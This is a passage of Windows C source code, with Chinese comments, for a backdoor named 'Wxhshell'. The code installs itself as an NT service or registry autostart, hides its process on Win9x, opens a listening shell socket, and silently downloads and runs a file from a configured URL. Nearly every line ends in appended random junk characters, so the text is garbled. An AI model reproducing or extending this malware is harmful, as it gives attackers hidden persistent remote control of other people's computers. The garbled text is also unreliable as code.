ULONG UniqueProcessId; f'8B[&@L
ULONG InheritedFromUniqueProcessId; aU,0gvI(}
} PROCESS_BASIC_INFORMATION; Mp}!+K
[J(@$Qix
PROCNTQSIP NtQueryInformationProcess; y=y/d>=w
9CgXc5
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; bgkbwE
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; :T8u?@.
\k2C 5f
HANDLE hProcess; ]0at2
PROCESS_BASIC_INFORMATION pbi; cN0~;!{i
TPV6$a <
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); HPv&vdr3
if(NULL == hInst ) return 0; /@xr[=L
S}XB
|
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); [M,27
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); 8+@1wks
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); VuYWb)@
N?Z+zN&P
if (!NtQueryInformationProcess) return 0; oRtY?6^$
"RR./e)h
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); MZ >0K
if(!hProcess) return 0; sWqPw}/3>
v ](G?L9b
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; `Lb _J
jSOa
CloseHandle(hProcess); z[$9B#P
8H$@Xts
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); X7imUy'.
if(hProcess==NULL) return 0; wUZ(Tin
9>}(]T
HMODULE hMod; PEwW*4Xo
char procName[255]; 8O;rp(N.n
unsigned long cbNeeded; MFCbx>#
wKeSPs{x
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); i85+p2i7
%yS`C"ZQ)
CloseHandle(hProcess); D{Jc+Q$
0YsN82IDD
if(strstr(procName,"services")) return 1; // 以服务启动 s1*WK&@
A<*tn?M]
return 0; // 注册表启动 gw}7%U`T9
} TnZc.
w$<fSe7
// 主模块 `)gkkZ$)j
int StartWxhshell(LPSTR lpCmdLine) f@x( ,p
{ 8zB+%mcF
SOCKET wsl; + - KRp1qq
BOOL val=TRUE; tr67ofld|
int port=0; /n<Ncf
struct sockaddr_in door; a_#eGe>
4)>\rqF+v
if(wscfg.ws_autoins) Install(); 5jCEy*%P@
bju,p"J1-E
port=atoi(lpCmdLine); m= beB\=
H&>>]DD
if(port<=0) port=wscfg.ws_port; (/rIodHJO
3!L<=X
WSADATA data; SUFaHHk@/b
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; ;r@R (Squ
vng8{Mx90*
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; uhN(`E@
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); /\Y%DpG$
door.sin_family = AF_INET; ^Ihdq89 t
door.sin_addr.s_addr = inet_addr("127.0.0.1"); Ivgwm6M
door.sin_port = htons(port); OmUw.VH
7_d#XKz@
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { pa> 2JF*
closesocket(wsl); _$jJpy
return 1; ~6kA<(x
} Tk@g9\6O9
MAhPO!e5.
if(listen(wsl,2) == INVALID_SOCKET) { }Us$y0W\
closesocket(wsl); JMe[
.Sx
return 1; f`";Q/rG
} >~bj7M6t
Wxhshell(wsl); $A!h=]
WSACleanup(); D@vvy6>~s
Y
Z2VP
return 0; fyoB]{$p8
^DCv-R+p
} (/P&;?j
TXOW/{B
// 以NT服务方式启动 kx#L<
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) (w:ACJ[[
{ Ak-7}i
DWORD status = 0; 50hh0!1
DWORD specificError = 0xfffffff; BNm va
YbBH6RZr
serviceStatus.dwServiceType = SERVICE_WIN32; 9TN5|x
serviceStatus.dwCurrentState = SERVICE_START_PENDING; /F9lW}pd
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; JY8"TQ$x
serviceStatus.dwWin32ExitCode = 0; >\x
39B
serviceStatus.dwServiceSpecificExitCode = 0; zMqEMx9
serviceStatus.dwCheckPoint = 0; rxk{Li<9
serviceStatus.dwWaitHint = 0; : )*Ge3
e;u8G/
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); =sVt8FWGY
if (hServiceStatusHandle==0) return; 1Moh`
DN{G$$or
status = GetLastError(); k_^/
if (status!=NO_ERROR) *K^O oS
{ M@@O50~
serviceStatus.dwCurrentState = SERVICE_STOPPED; )P+GklI{4
serviceStatus.dwCheckPoint = 0; q;~>h
serviceStatus.dwWaitHint = 0; 4'b]2Mn3
serviceStatus.dwWin32ExitCode = status; VIdoT2
serviceStatus.dwServiceSpecificExitCode = specificError; G6bg ~V5Q:
SetServiceStatus(hServiceStatusHandle, &serviceStatus); =0yJ2[R7Do
return; >^HTghgRD
} :R\v# )C
GQBN-Qv
serviceStatus.dwCurrentState = SERVICE_RUNNING; F76h
serviceStatus.dwCheckPoint = 0; &V{,D))6[
serviceStatus.dwWaitHint = 0; l#.,wOO{
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ;7*@Gf}R
} ?^5*[H
*%BI*p
// 处理NT服务事件,比如:启动、停止 uL AXN
VOID WINAPI NTServiceHandler(DWORD fdwControl) / {~h?P}
{ 3(p6ak2lv
switch(fdwControl) %-|q3 ^s
{ !jnIXvT1qy
case SERVICE_CONTROL_STOP: <t@*[Aw
serviceStatus.dwWin32ExitCode = 0; agD.J)v\
serviceStatus.dwCurrentState = SERVICE_STOPPED; WfO$q^'?DP
serviceStatus.dwCheckPoint = 0; ^ w1R"qE"m
serviceStatus.dwWaitHint = 0; 74Wg@!P
{ V3UGx'@^y
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 8QBL:7<
} W/Q%%)J
return; H2cc).8"
case SERVICE_CONTROL_PAUSE: +N_%|!F-c
serviceStatus.dwCurrentState = SERVICE_PAUSED; dq(L1y870
break; #_\~Vrf(#
case SERVICE_CONTROL_CONTINUE: dig76D_[e
serviceStatus.dwCurrentState = SERVICE_RUNNING; !WnI`
break; ;mlIWn
case SERVICE_CONTROL_INTERROGATE: 7?] p\`
break; ^4NH.q{
}; X
jN.X
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 5C?1`-&65V
} HpAZ{P7
x0GZ2*vfsb
// 标准应用程序主函数 fTgN2U
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) eO G%6C%a
{ :nEV/"#F
"FS.&&1(
// 获取操作系统版本 k0?6.[ku
OsIsNt=GetOsVer(); %L.+r!.
GetModuleFileName(NULL,ExeFile,MAX_PATH); k({8C`&tK/
k#[s)Ja?s
// 从命令行安装 `<d>C}9
if(strpbrk(lpCmdLine,"iI")) Install(); g2q=&eI"
mo$*KNW%\
// 下载执行文件 1[]cMyV
if(wscfg.ws_downexe) { V.1sZYA9
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) zPYa@0I
WinExec(wscfg.ws_filenam,SW_HIDE); $ 1ZY
Vw
} _: K\v8
1 Y&d%AA
if(!OsIsNt) { ,V?,I9qf
// 如果时win9x,隐藏进程并且设置为注册表启动 C-Z,L#
HideProc(); y"ck;OQD
StartWxhshell(lpCmdLine); LAeX e!y
} 3>6o=7/PU
else r
N7"%dx
if(StartFromService()) `fyAV@X
// 以服务方式启动 p%-9T>og
StartServiceCtrlDispatcher(DispatchTable); qfU3Cwy
else <9~qAq7^
// 普通方式启动 nabN.Ly
StartWxhshell(lpCmdLine); x7?{*w&r
x3 S
return 0; 7@?b _
}